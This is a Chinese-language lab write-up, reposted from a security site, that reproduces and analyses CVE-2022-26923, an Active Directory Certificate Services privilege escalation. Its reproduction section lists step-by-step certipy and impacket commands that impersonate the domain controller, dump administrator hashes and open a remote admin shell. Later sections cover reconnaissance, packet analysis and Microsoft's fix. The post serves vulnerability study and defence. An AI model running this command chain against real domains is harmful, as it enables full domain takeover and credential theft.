CVE-2022-26923 Active Directory 域提权 复现与分析

admin 2022年7月8日09:14:49评论29 views字数 2796阅读9分19秒阅读模式

0x00漏洞简介

该漏洞允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员。现在很少有没有安装 AD CS 的大中型 Active Directory 环境,所以该漏洞危害和利用性都较强。该漏洞已作为Microsoft 2022 年 5 月安全更新的一部分进行了修补。

0x01环境配置

首先当然是需要一个简单的域环境,我这里是Windows server 2012R2(1.1.1.2)和kali2022(1.1.1.3)组成了一个简单的内网环境。因为这个漏洞基于Certificate Service, 需要 Active Directory 证书服务(AD CS),所以DC中需要安装此服务。
CVE-2022-26923  Active Directory 域提权 复现与分析
之后需要配置CA证书。
CVE-2022-26923  Active Directory 域提权 复现与分析
为了模拟在得到一个user组用户后的提权,我在DC上创建了一个已知的用户(test1 /Syclover!),之后便会使用这个用户的凭据进行提权操作。
CVE-2022-26923  Active Directory 域提权 复现与分析
在复现时我发现如果是用上述命令行的方式创建的用户,需要手动设置用户登录名,不然用certipy获取证书时会报错。

手动创建的用户则没有没有影响。
image-20220526140408206.png

0x02漏洞复现

申请低权限用户证书:

certipy req chinfo.testlab/'test1:Syclover!'@DC.chinfo.testlab -ca chinfo-DC-CA -template User

image-20220525163441857.png

用证书申请TGT,得到NTLM hash:

certipy auth -pfx test1.pfx

image-20220525171551550.png

添加一个Machine账号,并将它的dns改为与DC相同:

certipy account create chinfo.testlab/test1:'Syclover!'@DC.chinfo.testlab -user "hacker" -dns "DC.chinfo.testlab"

image-20220525172024503.png

获取Machine账户证书:

certipy req chinfo.testlab/'hacker$:Qv8A7bBHFtwpPhRj'@DC.chinfo.testlab -ca chinfo-DC-CA -template Machine

image-20220525172424083.png

获取Machine账户的NTLM hash:

certipy auth -pfx dc.pfx

image-20220525172456160.png

使用secretsdump得到admin的hash:

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'chinfo.testlab/[email protected]' -hashes b0d7d9976a8006c910f50030088730f8:b0d7d9976a8006c910f50030088730f8

image-20220525173310116.png

使用wmiexec连接,提权至admin:

python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2fd54b5d964ccb69be6bdb69d76fad65 [email protected]

image-20220525173655899.png

0x03利用性验证

使用BloodHound检测是否有Certificate Service组

收集数据:

bloodhound-python -d chinfo.testlab -u test1 -p 'Syclover!' -ns 1.1.1.2 -c all --zip

image-20220526145728455.png

起一个neo4j,用bloodhound看看,左上角搜一下。

image-20220526145952083.png

是有这个组的。

在确定有Certificate Service服务的条件下,在加上能访问到445和636这两个端口,即可利用这个漏洞

这两个端口的必要性将在原理分析中写出。

0x04原理分析

理论原理

本质上的原理是通过Ldap添加了一个计算机账户(machine账户),之后这个域内就相当于有两台计算机(但实际只有一台)。之后它把添加的这个计算机账户的DNShostname改成和DC一样。之后再通过这个账户去请求的时候,certipy会通过用证书进行认证的方式,这种方式不同于使用用户名和密码,它会通过DNShost来解析你映射到了哪个账户上。由于之前这个计算机账户的DNS hostname改成和DC一样了,所以就会返回DC的hash值。

这其中有几个难点:

①为什么要使用machine账户而不使用user账户?

因为使用user账户是用UPN进行解析的,若将dnshost改成和DC一样,就会报错。

若单纯只修改machine账户的dnshost,其实也会报错。因为这样SPN也会同样进行更新,但SPN是唯一的。为了不让它报错,certipy将某些SPN值解绑了,这样更新后就进行了覆盖,就不会报错了。

②两个账户的DNShostname一样了,为什么在请求的时候不会发生冲突

由于采用了证书认证的方式,所以可以很简单的区分出是哪一个,通过这种方式就绕过了。

操作原理

①首先是申请低权限用户证书

抓包看一下过程

image-20220526151614609.png

先是TCP三次握手,之后可以看到使用的SMB,所以必须要能够访问到445端口

②然后是用证书申请TGT,得到NTLM hash

抓包看看怎么做到的

先是AS-REQ到AS-REP,申请到TGT

image-20220526152303282.png

之后又用这个TGT去申请了一个TGS

image-20220526152407223.png

这里应该没有用SPN去申请,应该是直接用的证书里定义的权限去申请了一个TGS,然后利用这个TGS得到了nt哈希。

③然后是添加一个Machine账号,并将它的dns改为与DC相同

抓包看看

image-20220526155214428.png

可以看到使用的是636端口。389和636都是Ldap端口,但这次是要创建以一个账户,是要发送密码的,所以使用了带加密的636端口。

从抓到的包中也可以看到是TLS隧道。所以从抓的包中是看不到更改dns的详细过程了。

④最后就是得到Machine的hash然后利用工具解密的操作了

0x05漏洞修复

微软在5月安全更新进行了修补。方法是在新证书中引入新的对象 ID (OID) 以进一步对用户进行指纹识别。这是通过在新的( ) OID 中嵌入用户objectSid(SID)来完成的。此外,“验证写入 DNS 主机名”权限现在只允许设置szOID_NTDS_CA_SECURITY_EXT``1.3.6.1.4.1.311.25.2``CT_FLAG_NO_SECURITY_EXTENSION``0x80000``msPKI-Enrollment-Flag``szOID_NTDS_CA_SECURITY_EXT``dNSHostName与帐户的 SAM 帐户名称匹配的属性。但是,使用计算机帐户的通用写入权限,仍然可以创建重复dnsHostName值。

0x06参考文章

Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)

FROM:tttang . com

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月8日09:14:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-26923 Active Directory 域提权 复现与分析http://cn-sec.com/archives/1165392.html

发表评论

匿名网友 填写信息